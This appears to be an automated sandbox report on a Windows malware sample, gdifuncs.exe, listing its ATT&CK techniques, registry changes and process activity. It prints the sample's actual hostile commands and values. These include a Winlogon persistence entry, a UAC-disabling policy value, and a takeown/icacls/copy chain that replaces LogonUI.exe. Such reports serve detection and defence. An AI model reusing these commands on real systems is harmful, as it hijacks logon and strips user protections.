Malware Analysis Report

2024-09-11 04:03

Sample ID 240625-ajbvgatakq
Target gdifuncs.exe
SHA256 4040ad3437e51139819148ed6378828adcfbd924251af39de8bf100a3a476a63
Tags
discovery evasion exploit persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

4040ad3437e51139819148ed6378828adcfbd924251af39de8bf100a3a476a63

Threat Level: Known bad

The file gdifuncs.exe was found to be: Known bad.

Malicious Activity Summary

discovery evasion exploit persistence trojan

UAC bypass

Modifies WinLogon for persistence

Disables Task Manager via registry modification

Disables RegEdit via registry modification

Possible privilege escalation attempt

Modifies file permissions

Drops file in Windows directory

Enumerates physical storage devices

Unsigned PE

Modifies Control Panel

Kills process with taskkill

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Delays execution with timeout.exe

System policy modification

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Winlogon Helper DLL
T1547.004
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Winlogon Helper DLL
T1547.004
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Defense Evasion
TA0005
Modify Registry
T1112
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Impair Defenses
T1562
Disable or Modify Tools
T1562.001
File and Directory Permissions Modification
T1222
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-25 00:14

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-25 00:14

Reported

2024-06-25 00:17

Platform

win11-20240508-en

Max time kernel

191s

Max time network

172s

Command Line

"C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe"

Signatures

Modifies WinLogon for persistence

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, wscript.exe \"C:\\windows\\winbase_base_procid_none\\secureloc0x65\\WinRapistI386.vbs\"" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

Disables RegEdit via registry modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

Disables Task Manager via registry modification

evasion

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\takeown.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A
N/A N/A C:\windows\SysWOW64\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\windows\SysWOW64\takeown.exe N/A
N/A N/A C:\windows\SysWOW64\icacls.exe N/A
N/A N/A C:\Windows\SysWOW64\takeown.exe N/A
N/A N/A C:\Windows\SysWOW64\icacls.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\windows\WinAttr.gci C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
File opened for modification \??\c:\windows\WinAttr.gci C:\Windows\SysWOW64\cmd.exe N/A

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies Control Panel

evasion
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Control Panel\Cursors\Arrow = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1672260578-815027929-964132517-1000\Control Panel\Cursors\Hand = "C:\\Windows\\winbase_base_procid_none\\secureloc0x65\\rcur.cur" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\windows\SysWOW64\takeown.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\takeown.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2796 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\takeown.exe
PID 2796 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\takeown.exe
PID 2796 wrote to memory of 4904 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\takeown.exe
PID 2796 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\icacls.exe
PID 2796 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\icacls.exe
PID 2796 wrote to memory of 2164 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\windows\SysWOW64\icacls.exe
PID 2796 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\Windows\SysWOW64\cmd.exe
PID 2796 wrote to memory of 412 N/A C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe C:\Windows\SysWOW64\cmd.exe
PID 412 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 412 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 412 wrote to memory of 2304 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\takeown.exe
PID 412 wrote to memory of 968 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 412 wrote to memory of 968 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 412 wrote to memory of 968 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\icacls.exe
PID 412 wrote to memory of 416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 412 wrote to memory of 416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 412 wrote to memory of 416 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 412 wrote to memory of 2284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 412 wrote to memory of 2284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 412 wrote to memory of 2284 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe

System policy modification

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe

"C:\Users\Admin\AppData\Local\Temp\gdifuncs.exe"

C:\windows\SysWOW64\takeown.exe

"C:\windows\system32\takeown.exe" /f C:\windows\system32\LogonUI.exe

C:\windows\SysWOW64\icacls.exe

"C:\windows\system32\icacls.exe" C:\\windows\\system32\\LogonUI.exe /granted "Admin":F

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c cd\&cd Windows\system32&takeown /f LogonUI.exe&icacls LogonUI.exe /granted "%username%":F&cd..&cd winbase_base_procid_none&cd secureloc0x65&copy "ui65.exe" "C:\windows\system32\LogonUI.exe" /Y&echo WinLTDRStartwinpos > "c:\windows\WinAttr.gci"&timeout 2&taskkill /f /im "tobi0a0c.exe"&exit

C:\Windows\SysWOW64\takeown.exe

takeown /f LogonUI.exe

C:\Windows\SysWOW64\icacls.exe

icacls LogonUI.exe /granted "Admin":F

C:\Windows\SysWOW64\timeout.exe

timeout 2

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im "tobi0a0c.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

memory/2796-0-0x000000007436E000-0x000000007436F000-memory.dmp

memory/2796-1-0x0000000000770000-0x0000000000792000-memory.dmp

memory/2796-2-0x00000000056E0000-0x0000000005C86000-memory.dmp

memory/2796-3-0x0000000005230000-0x00000000052C2000-memory.dmp

memory/2796-4-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-5-0x0000000005610000-0x000000000561A000-memory.dmp

memory/2796-6-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-7-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-8-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-9-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-10-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-11-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-12-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-13-0x000000007436E000-0x000000007436F000-memory.dmp

memory/2796-14-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-15-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-16-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-17-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-18-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-19-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-20-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-21-0x0000000074360000-0x0000000074B11000-memory.dmp

memory/2796-22-0x0000000074360000-0x0000000074B11000-memory.dmp